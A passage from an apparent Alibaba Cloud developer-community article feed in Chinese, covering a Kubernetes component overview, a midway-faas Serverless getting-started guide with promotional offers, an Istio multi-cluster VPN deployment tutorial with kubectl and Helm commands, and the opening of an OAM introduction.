                  那 master 又该如何实现和管理容器间的网络通信呢?首先每个容器肯定需要有一个唯一的 ip 地址,通过这个 ip 地址就可以互相通信了,但是彼此通信的容器有可能运行在不同的 worker 节点上,这就涉及到 worker 节点间的网络通信,因此每个 worker 节点还需要有一个唯一的 ip 地址,但是容器间通信都是通过容器 ip 进行的,容器并不感知 worker 节点的 ip 地址,因此在 worker 节点上需要有容器 ip 的路由转发信息,我们可以通过 iptables、ipvs 等技术来实现。那如果容器 ip 变化了,或者容器数量变化了,这个时候相关的 iptables、ipvs 的配置就需要跟着进行调整,所以在 worker 节点上我们需要一个专门负责监听并调整路由转发配置的组件,我们把这个组件称为 kube proxy(此处为了便于理解,就不展开引入 Service 的内容了)。

                  我们已经解决了容器间的网络通信,但是在我们编码的时候,我们希望的是通过域名或者 vip 等方式来调用一个服务,而不是通过一个可能随时会变化的容器 ip。因此我们需要在容器 ip 之上在封装出一个 Service 的概念,这个 Service 可以是一个集群的 vip,也可以是一个集群的域名,为此我们还需要一个集群内部的 DNS 域名解析服务。

                  另外虽然我们已经有了 kubectl,可以很愉快的和 master 进行交互了,但是如果有一个 web 的管理界面,这肯定是一个更好的事情。此处之外,我们可能还希望看到容器的资源信息、整个集群相关组件的运行日志等等。

                  像 DNS、web 管理界面、容器资源信息、集群日志,这些可以改善我们使用体验的组件,我们统称为插件。

                  至此,我们已经成功构建了一个容器编排系统,我们来简单总结下上面提到的各个组成部分:

                  • Master 组件:kube-apiserver、kube-scheduler、etcd、kube-controller-manager
                  • Node 组件:kubelet、kube-proxy
                  • 插件:DNS、用户界面 Web UI、容器资源监控、集群日志

                  image.png

                  这些也正是 K8s 中的重要组成部分。当然 K8s 作为一个生产级别的容器编排系统,这里提到的每一个组件都可以拿出来单独讲上很多内容,本文只是一个简单入门,不再展开讲解。

                  4 Serverless 的容器编排系统

                  虽然我们已经成功实现了一个容器编排系统,并且也用的很舒服,但是淘车网的王总裁(已经不是当年的小王了)觉得公司花在这个编排系统上的研发和运维成本实在是太高了,想要缩减这方面的成本。王总想着有没有一个编排系统,能够让员工专注到业务开发上,而不需要关注到集群的运维管理上,王总和技术圈的同学了解了一下,发现 Serverless 的理念和他的想法不谋而合,于是就在想啥时候出一个 Serverless 的容器编排系统就好啦。

                  Serverless 的容器编排系统需要怎么实现呢?欢迎大家在评论区给王总出谋划策~

                  ]]>
                  Serverless 时代前端避坑指南-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  作者 | 张挺

                  image.png

                  每个时代,从来不缺机会。

                  云原生的浪潮席卷而来,从 14 年到现在,上云的声音就没有停歇过,而如今到了 2020,云厂商都已经准备好了,而前端,是否也准备好踏入这纷争的领域,去拥抱时代给予的蜜糖,亦或者是带刺的玫瑰?

                  大家都或多或少的在现在的云战场上接收到信息,也不免的去学习,对比各家云平台的功能,甚至还会实际调研,考虑用在自己的产品或者业务中,而阿里在内部经过一年的实践和总结,将 Serverless 和现有框架有机的整合到了一起,同时,希望能简化现有社区的云函数开发。

                  本篇文章就是交给大家如何避(快)免(速)踩(上)坑(手)。

                  PS.文末福利大放送,7天玩转云端开发,免费开发还有多重好礼!

                  避坑第一招

                  而 Web 栈开发框架, 阿里的 Midway 体系也早早在去年就开始了新的尝试。从传统 Web 到 Serverless 体系的转换,没有那么容易,看起来很干净整洁的代码,在 Severless 体系中甚至变为了加锁,步步桎梏。

                  俗话说,聚是一团火,散是满天星,就拿简单的 Web 请求来说,大家想的是,我一个接口变为一个函数,非常简单。我一个应用,根据路由,可能会分为 1,2,3,4 ... 100 个接口吧。而事实是,一个 Web 请求,从接到数据的那一刻,坑就已经挖好了,等着跳呢。

                  第一个坑来了,我该选择哪个平台呢?打开搜索引擎,各家云平台的广告接踵而至,为了避免提前选择平台,midway faas 使用的是固定的模板代码,要使用它,需要安装我们的 CLI 工具。

                  image.png

                  midway faas 的 CLI "f" 也是 Node.js 写的,大部分前端开发者第一次使用 Serverless 即将从它开始。同时还集成了阿里云、腾讯云等众多云厂商云服务发布,并支持的开发、调试、部署等能力。

                  我们可以用 "f" 创建我们的第一个函数示例。

                  image.png

                  它的 CLI 也是 Node.js 写的,所以很可能大部分前端开发者第一次使用 Serverless 都从它开始。

                  image.png

                  midway faas 的代码文件是以 class 的形式,这样所有的方法都可以是一个可复用的函数,并且还可以享受到传统 OO 的能力。

                  避坑第二招

                  各个云平台如下的代码宣传深入人心。

                  image.png

                  这些简单的宣传函数,相似又有着细微的不同(不建议大家去尝试了), hello world 基本上是通过 callback 或者标准的格式来返回(还有 HTTP response)。

                  对于前端来说,前后端分离,到 DevOPS,到全栈开发的洗礼,已经相对比较熟悉类似 Koa/Egg 等这一套 Web 开发的套路,到了 Serverless 下,我的代码怎么办呢?

                  别急,midway faas 已经做好了一切。

                  image.png

                  大家会发现,整个写法和传统的 koa 接口一模一样,只要你会 koa,那么,在瞬间即可上手。用上你熟悉的 API,快速的进入开发节奏。

                  除此之外,你可以用上大部分 Midway Web 开发的装饰器,甚至直接把业务代码拷贝过来即可,整个 midway faas 框架会帮你完成整合和运行。

                  避坑第三招

                  这个时候,我们的代码写完了,按照 Serverless 传统的开发模式,要么本地装一个 Docker,按照平台的方式去测试,要么直接打包发布到平台去测试和调试。

                  在我们的调研中,本地装 Docker 对前端来说太不友好了,每当我们提出要通过 Docker 做一点事情,试用方就会提出能不能轻量一些,开发 Web 能不能像之前的传统开发一样启动服务,刷新浏览器。

                  为此我们的回答是“能”,通过 invoke 命令,既可以直接调用,也可以启动服务。

                  image.png

                  你熟悉的 http://127.1:3000 已经启动,开发和调试,一切都随你心意。

                  点击查看midway 操作示意图视频

                  避坑第四招

                  代码开发完成,也测试完成,我们就可以发布到平台啦,这个时候,阿里云,腾讯云,其实就看你喜好啦。

                  你想发布到哪个平台,直接配置即可。

                  image.png

                  然后执行部署。

                  image.png

                  我们广告看的非常多,无运维,按请求收费,低成本,简化逻辑,让 Serverless 走进千家万户。本质和传统应用开发是有 Gap 的,Serverless 通过 yml 配置聚合资源,由平台提供资源服务,而业务只需要编写单一的逻辑代码,而由于逻辑的简化之后,不再需要考虑复用,迭代,乃至维护和管理。

                  虽然我们的代码可以在编写时不需要考虑多个接口了,但是还有最开始的那个问题没有回答, “接口多了发布、管理怎么办?”。

                  image.png

                  midway faas 采用的是接口自定义聚合的模式,根据流量模型,用户可以自己决定部署模式,我们的 f.yml 中可以进行自由配置,你可以决定将所有接口汇聚到一起,部署到一个函数容器中享受整体的扩缩,也可以将热点的接口随意移出单独部署,这一切都不需要修改代码,只需要动 yml 配置文件即可。

                  点击查看视频

                  最后的指南

                  我们总结了下,避坑指南告诉了你几个事情:

                  1. 避免提前选择平台,专注于开发
                  2. 避免新造轮子,复用传统能力
                  3. 避免平台测试,提前本地调试
                  4. 避免额外收费,尽可能使用免费方案

                  就这样,最后我们避开了各种坑,也没有花特别额外的钱(16块买了个域名),就完成了一些简单的 Web 接口(应用),降低了成本(走上了褥社会主义平台羊毛的道路)。

                  midway faas 是一个帮前端入门 Serverless 的框架,也是未来能力协同,生产上云的框架,这些避坑的处理只是其中的一小部分,他的完整能力其实更强,提供了更多传统的依赖注入,装饰器自定义,业务配置管理,组件化等能力,甚至还有自定义运行时,私有化部署等方案,未来也将一一展现给大家。

                  我们希望 "Midway will always be with you"。

                  仓库:https://github.com/midwayjs/midway-faas <-- 戳戳 Star

                  文档:https://www.yuque.com/midwayjs/faas

                  最近阿里云云工作台已经将 midway faas 的一些示例做成了云上版本,也对开发进行了深度定制,既有 Web 栈应用,也有 SSR 示例,都只需要点选即可搭建完成,用传统方式开发,支持扩展能力,又有函数接口的灵活,还不花钱,大家还在等什么呢。

                  image.png

                  文末福利

                  玩转云端开发 7 天训练营

                  提前享受云时代的原生开发环境,Serverless 研发从入门到精通,连续 7 天,每天一个直播,阿里专家手把手教你利用阿里云云开发平台 get 云端开发新技能。0 门槛打开浏览器就可以开发,最快 1 分钟搭建个人网站,免费开发还送代金券、天猫精灵等多重好礼!

                  识别下方二维码马上入群学习,或点击链接马上参加:

                  image.png

                  等等,福利还没停!关注下方公众号转发文章即参与抽取天猫精灵!


                  image.png
                  关注「Alibaba F2E」
                  把握阿里巴巴前端新动向

                  ]]>
                  如何使用 Istio 进行多集群部署管理(1): 单控制平面 VPN 连接拓扑-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 服务网格作为一个改善服务到服务通信的专用基础设施层,是云原生范畴中最热门的话题。随着容器愈加流行,服务拓扑也频繁变动,这就需要更好的网络性能。服务网格能够通过服务发现、路由、负载均衡、心跳检测和支持可观测性,帮助我们管理网络流量。服务网格试图为无规则的复杂的容器问题提供规范化的解决方案。

                  服务网格也可以用于混沌工程 —— “一门在分布式系统上进行实验的学科,目的是构建能够应对极端条件的可靠系统”。服务网格能够将延迟和错误注入到环境中,而不需要在每个主机上安装一个守护进程。

                  容器是云原生应用的基石,通过应用容器化,使得应用开发部署更加敏捷、迁移更加灵活,并且这些实现都是基于标准化的。而容器编排则是更近一步,能够更加有效地编排资源、更加高效地调度利用这些资源。而到了云原生时代,在 Kubernetes 基础架构之上,结合 Istio 服务网格,提供了多云、混合云的支持能力,针对微服务提供了有效的治理能力,并以 Kubernetes 和 Istio 为基础,提供了针对特定应用负载的不同支持,例如针对 Kubeflow 服务的流量治理、为 Knative 提供负载的路由管理能力等。

                  尽管 Service Mesh 在云原生系统方面的应用已经有了快速的增长,但仍然存在巨大的提升空间。无服务器(Serverless)计算正好需要 Service Mesh 的命名和链接模型,这让 Service Mesh 在云原生生态系统中的角色得到了彰显。服务识别和访问策略在云原生环境中仍显初级,而 Service Mesh 毫无疑问将成为这方面不可或缺的基础。就像 TCP/IP 一样,Service Mesh 将在底层基础设施这条道路上更进一步。

                  混合云可以采用多种形式。通常,混合云指的是跨公有云和私有(内部部署)云运行,而多云意味着跨多个公有云平台运行。

                  采用混合云或多云架构可以为你的组织带来诸多好处。例如,使用多个云提供商可以帮助你避免供应商锁定,能够让你为实现目标选择最佳的云服务。使用云和本地环境,你可以同时享受云的优势(灵活性、可扩展性、成本降低)和本地的好处(安全性、低延迟、硬件复用)。如果你是首次迁移到云端,采用混合云步骤可以让你按照自己的节奏,以最适合你业务的方式进行。

                  根据我们在公有云上的实践经验及从客户那里得到的信息,我们认为采用混合服务网络是简化云和本地环境中应用程序管理、安全性和可靠性的关键,无论你的应用程序是在容器中运行,或是在虚拟机中运行。

                  Istio 的一个关键特性是它为你的工作负载(例如 pod、job、基于 VM 的应用程序)提供服务抽象。当你转向混合拓扑时,这种服务抽象变得更加重要,因为现在你不只需要关注一个环境,而是需要关注若干个环境。

                  当你在一个 Kubernetes 集群上使用 Istio 时,可以获得包括可见性、细粒度流量策略、统一遥测和安全性在内的微服务的所有管理优势。但是当你在多个环境中使用 Istio 时,实际上是为应用程序提供了一个新的超级能力。因为 Istio 不仅仅是 Kubernetes 的服务抽象,也是一种在整个环境中标准化网络的方法。它是一种集中 API 管理并将 JWT 验证与代码分离的方法。它是跨云提供商的安全、零信任网络的快速通道。

                  那么所有这些魔法是如何发生的呢?混合 Istio 是指一组 Istio Sidecar 代理,每一个 Envoy 代理位于所有服务的旁边,而这些服务可能运行在不同环境中的每一个虚拟机、每一个容器中,而且这些 Sidecar 代理之前互相知道如何跨边界交互。这些 Envoy Sidecar 代理可能由一个中央 Istio 控制平面管理,或由每个环境中运行的多个控制平面管理。

                  多集群部署管理

                  服务网格本质上是将一组单独的微服务组合成单个可控的复合应用程序,Istio 作为一种服务网格,也是旨在单一管理域下监视和管理协作微服务网络。对于特定大小的应用程序,所有微服务是可以在单个编排平台如一个 Kubernetes 集群上运行的。然而,由于规模不断增大或者冗余等原因,大多数应用程序最终将需要分发一些服务在其他地方运行。

                  社区越来越关注在多个集群上运行工作负载,以实现更好的扩展,故障可以更好地隔离,从而提升应用程序的敏捷性。Istio v1.0 开始支持一些多集群功能,并在之后的版本中添加了新功能。

                  Istio 服务网格支持许多可能的拓扑结构,用于在单个集群之外分发应用程序的服务,有两种常见的模式或用例:单网格和网格联合。顾名思义,单个网格将多个集群组合成一个单元,由一个 Istio 控制平面管理;它可以实现为一个物理控制平面,也可以实现为一组控制平面,同时所有控制平面都能通过复制配置保持同步。而网格联合则会将多个集群分离作为单独的管理域,有选择地完成集群之间的连接,仅将服务的子集暴露给其他集群;自然它的实现会包含多个控制平面。

                  具体来说,这些不同的拓扑结构包括以下几个方面:

                  • 网格中的服务可以使用服务条目(Service Entry)来访问独立的外部服务或访问由另一个松散耦合的服务网格公开的服务,通常称为网格联邦(Mesh Federation)。这种拓扑适合于互相独立并且网络隔离、只能通过公网交互的多集群的场景;
                  • 支持在虚拟机或物理裸机上运行的服务进行服务网格扩展,通常称为网格联合(Mesh Expansion)。在前面章节中,我们已经讲述了这种 Kubernetes 集群与虚拟机、物理裸机之间混合部署的场景;
                  • 把来自多个集群的服务组合到单个服务网格中,通常称为多集群网格(Multicluster Mesh)。根据网络拓扑结构的不同,多集群网格通常分为单控制平面 VPN 连接、单控制平面网关连接以及多控制平面拓扑。

                  单控制平面 VPN 连接拓扑

                  作为基准,在 Istio 的 1.1 版本之前,Istio 1.0 多集群仅支持使用单网格设计。它允许多个集群连接到网格中,但所有集群都在一个共享网络上。也就是说,所有集群中所有 pod 和服务的 IP 地址都是可直接路由的,不会发生冲突,同时保证在一个集群中分配的IP地址不会在另一个集群中同时重用。

                  在这种拓扑配置下,在其中一个集群上运行单个 Istio 控制平面。该控制平面的 Pilot 管理本地和远程集群上的服务,并为所有集群配置 Envoy 代理。这种方法在所有参与集群都具有 VPN 连接的环境中效果最佳,因此可以使用相同的 IP 地址从其他任何地方访问网格中的每个 pod。

                  在此配置中,Istio 控制平面部署在其中一个集群上,而所有其他集群运行更简单的远程 Istio 配置,该配置将它们连接到单个 Istio 控制平面,该平面将所有 Envoy 管理为单个网格。各个集群上的 IP 地址不允许重叠,并且远程集群上的服务的 DNS 解析不是自动的。用户需要在每个参与集群上复制服务,这样每个集群中的 Kubernetes 集群服务和应用程序都能够将其内部 Kubernetes 网络暴露给其他集群。一旦一个或多个远程 Kubernetes 集群连接到 Istio 控制平面,Envoy 就可以与单个控制平面通信并形成跨多个集群的网状网络。

                  前提约束

                  事实上,我们已经了解到网格、集群和网络之间的存在各种约束,例如,在某些环境中,网络和集群直接相关。Istio单网格设计下的单控制平面VPN连接拓扑需要满足以下几个条件:

                  • 运行 Kubernetes 1.9 或更高版本的两个或更多集群;
                  • 能够在其中一个集群上部署 Istio 控制平面;
                  • RFC1918 网络、VPN 或满足以下要求的更高级网络技术:

                    • 单个集群 pod CIDR 范围和服务 CIDR 范围在多集群环境中必须是唯一的,并且应当不重叠;
                    • 每个集群中的所有 pod CIDR 必须可以相互路由
                    • 所有 Kubernetes 控制平面 API 服务器必须可以相互路由。

                  此外,为了跨集群支持 DNS 名称解析,必须确保在所有需要跨集群服务调用的集群中定义对应的命名空间、服务和服务账户;例如,集群 cluster1 中命名空间 ns1 的服务 service1 需要调用集群 cluster2 中命名空间 ns2 的服务 service2,那么在集群 cluster1 中为了支持服务名的 DNS 解析,需要在集群 cluster1 中创建一个命名空间 ns2 以及该命名空间下的服务 service2。

                  以下示例中的两个 Kubernetes 集群的网络假定已经满足上述要求,每个集群中的 pod 都能够互相路由,也就是说网络可通并且端口是可访问的(如果采用的是类似于阿里云的公有云服务,请确保这些端口在安全组规则下是可以访问的;否则服务间的调用会受到影响)。

                  两个 Kubernetes 集群的 pod CIDR 范围和服务 CIDR 范围定义如下表所示:

                  image.png

                  拓扑架构

                  image.png
                  从图中可以看到整个多集群拓扑中只会在一个 Kubernetes 集群上安装 Istio 控制平面。这个安装 Istio 控制平面的集群通常被称为本地集群,所有其它集群称为远程集群。

                  这些远程集群只需要安装 Istio 的 Citadel 和 Sidecar Injector 准入控制器,具有较小的 Istio 占用空间,Citadel 用于这些远程集群的安全管理,Sidecar Injector 准入控制器用于控制平面中的自动注入和数据平面中工作负载的 Sidecar 代理功能。

                  在这个架构中,Pilot 可以访问所有集群中的所有 Kubernetes API 服务器,因此它具有全局网络访问视图。Citadel 和 Sidecar Injector 准入控制器则只会在集群本地范围内运行。每个集群都有唯一的 pod 和服务 CIDR,除此之外,集群之间还有一个共享的扁平网络,以保证能直接路由到任何工作负载,包括到 Istio 的控制平面。例如,远程集群上的 Envoy 代理需要从 Pilot 获得配置,检查并报告给 Mixer 等。

                  启用双向 TLS 通信

                  如果在多个集群中启用跨集群的双向 TLS 通信,就需要按照如下方式在各个集群中进行部署配置。首先,从共享的根 CA 为每个集群的 Citadel 生成中间 CA 证书,共享的根 CA 启用跨不同集群的双向 TLS 通信。为了便于说明,我们将 samples/certs 目录下 Istio 安装中提供的示例根 CA 证书用于两个集群。在实际部署中,你可能会为每个集群使用不同的 CA 证书,所有 CA 证书都由公共根 CA 签名。

                  在每个 Kubernetes 集群中(包括示例中的集群 cluster1 与 cluster2)创建密钥。使用以下的命令为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl create namespace istio-system
                  kubectl create secret generic cacerts -n istio-system 
                    --from-file=samples/certs/ca-cert.pem 
                    --from-file=samples/certs/ca-key.pem 
                    --from-file=samples/certs/root-cert.pem 
                    --from-file=samples/certs/cert-chain.pem

                  当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信,上述步骤完全可以跳过。

                  部署本地控制平面

                  在所谓的本地集群上安装一个 Istio 控制平面的过程,与在单集群上安装 Istio 并没有太多差别,需要注意的一点是如何配置 Envoy 代理用于管理直接访问某个 IP 范围内的外部服务的参数。如果是使用 Helm 安装 Istio,那么在 Helm 中有一个名为 global.proxy.includeIPRanges 的变量,确保该变量为“*”或者包括本地集群、所有远程集群的 pod CIDR 范围和服务 CIDR。

                  可以通过查看命名空间 istio-system 下的配置项 istio-sidecar-injector 中的 traffic.sidecar.istio.io/includeOutboundIPRanges 来确认 global.proxy.includeIPRanges 参数设置,如下所示:

                  kubectl get configmap istio-sidecar-injector -n istio-system -o yaml| grep includeOutboundIPRanges

                  在部署 Istio 控制平面组件的集群 cluster1 中,按照以下步骤执行。

                  如果启用了双向 TLS 通信,则需要如下配置参数:

                  helm template --namespace=istio-system 
                    --values
                  install/kubernetes/helm/istio/values.yaml 
                    --set global.mtls.enabled=true 
                    --set security.selfSigned=false 
                    --set global.controlPlaneSecurityEnabled=true
                  
                    install/kubernetes/helm/istio > istio-auth.yaml
                  kubectl
                  apply -f istio-auth.yaml

                  如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:

                  helm template --namespace=istio-system 
                    --values
                  install/kubernetes/helm/istio/values.yaml 
                    --set global.mtls.enabled=false 
                    --set security.selfSigned=true 
                    --set global.controlPlaneSecurityEnabled=false
                  
                    install/kubernetes/helm/istio >
                  istio-noauth.yaml
                  kubectl
                  apply -f istio-noauth.yaml

                  修改 Istio 服务 istio-pilot、istio-telemetry、istio-policy 及 zipkin 的类型为内网负载均衡,将这些服务以内网方式暴露给远程集群使用。不同的云厂商实现机制不尽相同,但大都是通过修改 annotation 的方式实现。针对阿里云容器服务来说,设置为内网负载均衡的方式非常简单,只需要添加如下 annotation 到服务的 YAML 定义中即可:
                  service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet。

                  此外,需要按照图中的端口定义为每一个服务进行设置。
                  image.png

                  istio-pilot 服务端口如表 1 所示。

                  image.png

                  istio-telemetry 服务端口如表 2 所示

                  image.png

                  istio-policy 服务端口如表 3 所示。

                  image.png

                  zipkin 服务端口如表 4 所示。

                  image.png

                  安装 istio-remote

                  在本地集群中安装完控制平面之后,必须将 istio-remote 组件部署到每个远程 Kubernetes 集群。等待 Istio 控制平面完成初始化,然后再执行本节中的步骤。你必须在 Istio 控制平面集群上运行这些操作以捕获 Istio 控制平面服务端点,例如上述提到的 Istio 服务 istio-pilot、istio-telemetry、istio-policy 以及 zipkin。

                  在远程集群 cluster2 中部署 Istio-remote 组件,按照以下步骤执行:

                  1.在本地集群上使用以下命令设置环境变量:

                  export
                  PILOT_IP=$(kubectl -n istio-system get service istio-pilot -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  POLICY_IP=$(kubectl -n istio-system get service istio-policy -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  TELEMETRY_IP=$(kubectl -n istio-system get service istio-telemetry -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  ZIPKIN_IP=$(kubectl -n istio-system get service zipkin -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  echo
                  $PILOT_IP $POLICY_IP $TELEMETRY_IP $ZIPKIN_IP

                  2.如果在多个集群中启用跨集群的双向 TLS 通信,就需要在集群中进行部署配置。

                  当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信的话,该步骤完全可以跳过。在远程 Kubernetes 集群 cluster2 上运行以下命令,在集群中为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl
                  create namespace istio-system
                  kubectl
                  create secret generic cacerts -n istio-system 
                      --from-file=samples/certs/ca-cert.pem 
                      --from-file=samples/certs/ca-key.pem 
                      --from-file=samples/certs/root-cert.pem 
                  --from-file=samples/certs/cert-chain.pem

                  3.在远程 Kubernetes 集群 cluster2 上,通过执行以下命令,使用 Helm 创建 Istio remote 部署 YAML 文件。

                  如果启用了双向 TLS 通信,则需要如下配置参数:

                  helm
                  template install/kubernetes/helm/istio 
                    --name istio-remote 
                    --namespace istio-system 
                    --values install/kubernetes/helm/istio/values-istio-remote.yaml
                  
                    --set global.mtls.enabled=true 
                    --set security.selfSigned=false 
                    --set global.controlPlaneSecurityEnabled=true
                  
                    --set
                  global.remotePilotCreateSvcEndpoint=true 
                    --set global.remotePilotAddress=${PILOT_IP} 
                    --set global.remotePolicyAddress=${POLICY_IP}
                  
                    --set
                  global.remoteTelemetryAddress=${TELEMETRY_IP}
                    --set global.remoteZipkinAddress=${ZIPKIN_IP}
                  > istio-remote-auth.yaml

                  然后将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl apply -f ./istio-remote-auth.yaml

                  如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:

                  helm
                  template install/kubernetes/helm/istio 
                    --name istio-remote 
                    --namespace istio-system 
                    --values
                  install/kubernetes/helm/istio/values-istio-remote.yaml 
                    --set global.mtls.enabled=false 
                    --set security.selfSigned=true 
                    --set
                  global.controlPlaneSecurityEnabled=false 
                    --set
                  global.remotePilotCreateSvcEndpoint=true 
                    --set global.remotePilotAddress=${PILOT_IP} 
                    --set global.remotePolicyAddress=${POLICY_IP}
                  
                    --set global.remoteTelemetryAddress=${TELEMETRY_IP}
                    --set global.remoteZipkinAddress=${ZIPKIN_IP}
                  > istio-remote-noauth.yaml

                  然后将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl
                  apply -f ./istio-remote-noauth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  4.创建集群 cluster2 的 Kubeconfig。

                  安装 Istio-remote Helm chart 后,在远程集群中创建了一个叫 istio-multi 的 Kubernetes 服务帐号,该服务帐号用于最小化 RBAC 访问请求,对应的集群角色定义如下:

                  kind:
                  ClusterRole
                  apiVersion:
                  rbac.authorization.k8s.io/v1
                  metadata:
                    name: istio-reader
                  rules:
                    - apiGroups: ['']
                      resources: ['nodes', 'pods', 'services',
                  'endpoints']
                      verbs: ['get', 'watch', 'list']

                  下面的过程通过使用先前所述的 istio-multi 服务帐号凭证生成一个远程集群的 kubeconfig 配置文件。通过以下命令,在集群 cluster2 上创建服务帐号 istio-multi 的 Kubeconfig,并保存为文件 n2-k8s-config:

                  CLUSTER_NAME="cluster2"
                  SERVER=$(kubectl
                  config view --minify=true -o "jsonpath={.clusters[].cluster.server}")
                  SECRET_NAME=$(kubectl
                  get sa istio-multi -n istio-system -o jsonpath='{.secrets[].name}')
                  CA_DATA=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['ca.crt']}")
                  TOKEN=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['token']}" | base64 --decode)
                  cat
                  <<EOF > n2-k8s-config
                  apiVersion:
                  v1
                  kind:
                  Config
                  clusters:
                    - cluster:
                        certificate-authority-data: ${CA_DATA}
                        server: ${SERVER}
                      name: ${CLUSTER_NAME}
                  contexts:
                    - context:
                        cluster: ${CLUSTER_NAME}
                        user: ${CLUSTER_NAME}
                      name: ${CLUSTER_NAME}
                  current-context:
                  ${CLUSTER_NAME}
                  users:
                    - name: ${CLUSTER_NAME}
                      user:
                        token: ${TOKEN}
                  EOF

                  5.将集群 cluster2 加入 Istio Pilot 所在集群中。

                  在集群 dusterl 执行以下命令,将上述生成的集群 cluster2 的 kubeconfig 添加到集群 cluster1 的 secret 中。执行这些命令后,集群 cluster1 中的 Istio Pilot 将开始监听集群 cluster2 的服务和实例,就像监听集群 cluster1 中的服务与实例一样:

                  kubectl
                  create secret generic n2-k8s-secret --from-file n2-k8s-config -n istio-system
                  kubectl
                  label secret n2-k8s-secret istio/multiCluster=true -n istio-system

                  部署示例应用

                  为了演示跨集群访问,在第一个 Kubernetes 集群 cluster1 中部署 sleep 应用服务和版本 v1 的 helloworld 服务,在第二个集群 cluster2 中部署版本 v2 的 helloworld 服务,然后验证 sleep 应用是否可以调用本地或者远程集群的 helloworld 服务。

                  1.部署 sleep 和版本 v1 的 helloworld 服务到第一个集群 cluster1 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f multicluster/sleep/sleep.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v1
                  export
                  SLEEP_POD=$(kubectl get -n app1 pod -l app=sleep -o
                  jsonpath={.items..metadata.name})
                  1. 部署版本 v2 的 helloworld 服务到第二个集群 cluster2 中,执行如下命令:
                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f multicluster/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v2
                  1. 验证在集群 cluster1 中的 sleep 服务是否可以正常调用本地或者远程集群的 helloworld 服务,在集群 cluster1 下执行如下命令:
                  kubectl
                  exec $SLEEP_POD -n app1 -c sleep -- curl helloworld.app1:5000/hello

                  如果设置正确,则在返回的调用结果中可以看到两个版本的 helloworld 服务,同时可以通过查看 sleep 容器组中的 istio-proxy 容器日志来验证访问的端点 IP 地址,返回结果如下所示:

                  image.png

                  1. 验证 Istio 路由规则是否生效。
                    创建针对上述两个版本的 helloworld 服务的路由规则,以便验证 Istio 配置是否可以正常工作。

                  创建 Istio 虚拟服务 VirtualService,执行如下命令:

                  kubectl
                  apply -n app1 -f multicluster/helloworld/virtualservice.yaml

                  接着,创建 Istio 目标规则 DestinationRule:

                  • 如果启用了双向 TLS 通信,则需要如下配置参数:
                  kubectl
                  apply -n app1 -f multicluster/helloworld/destinationrule.yaml
                  • 如果不需要启用双向 TLS 通信,配置参数则需要做出修改,在 YAML 定义中添加trafficPolicy.tls.mode:ISTIO_MUTUAL,定义如下所示:
                  apiVersion:
                  networking.istio.io/v1alpha3
                  kind:
                  DestinationRule
                  metadata:
                    name: helloworld
                  spec:
                    host: helloworld
                    **trafficPolicy:
                    tls:
                      mode: ISTIO_MUTUAL**
                    subsets:
                    - name: v1
                    labels:
                      version: v1
                    - name: v2
                    labels:
                      version: v2

                  通过执行命令 kubectl apply 创建启用双向 TLS 的 Istio 目标规则,如下所示:

                  kubectl
                  apply -n app1 -f multicluster/helloworld/destinationrule-auth.yaml

                  多次调用 helloworld 服务,只会返回版本 v2 的响应结果,如下所示:

                  image.png

                  ]]>
                  社区首款 OAM 可视化平台发布!关注点分离、用户友好、上手难度低-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 头图.png

                  作者 | 徐运元,杭州谐云科技合伙人及资深架构师,云计算行业和 Kubernetes 生态资深从业者

                  导读:什么是 OAM?2019 年 10 月 17 日,阿里巴巴合伙人、阿里云智能基础产品事业部总经理蒋江伟(花名:小邪)在 QCon 上海 2019 重磅宣布,阿里云与微软联合推出开放应用模型 Open Application Model (OAM)开源项目

                  OAM 的核心关注点

                  • 关注点分离:开发者关注应用本身,运维人员关注模块化运维能力,让应用管理变得更轻松、应用交付变得更可控;
                  • 平台无关与高可扩展:应用定义与平台层实现解耦,应用描述支持任意扩展和跨环境实现;
                  • 模块化应用运维特征:可以自由组合和支持模块化实现的运维特征描述。

                  OAM 的核心模块

                  1. 应用组件(Components)

                  在 OAM 中,“应用”是由多个概念共同组合而成。第一个概念是:应用组件(Components),它是整个应用的重要组成部分。应用组件既可以包括应用运行所依赖的服务:比如 MySQL 数据库,也包括应用服务本身:比如拥有多个副本的 PHP 服务器。开发者可以把他们写的代码“打包”成一个应用组件,然后编写配置文件来描述该组件与其他服务之间的关系。

                  应用组件的概念让平台架构师等能够将应用分解成一个个可被复用的模块,这种模块化封装应用组成部分的思想,代表了一种构建安全、高可扩展性应用的最佳实践:通过一个完全分布式的架构模型,实现了应用组件描述和实现的解耦。

                  2. 应用部署配置文件(Application Configuration)

                  为了将这些应用组件描述变成一个真正运行起来的应用,应用运维人员会通过一个专门的、包含了所有应用组件信息的部署配置文件来实例化这个待运行的应用。这个配置文件本身也是 OAM 规范中的一个声明式 API,用来让应用运维人员能够根据开发者或者平台提交的应用描述,实例化出对应的、真正运行起来的应用。

                  3. 应用运维特征(Traits)

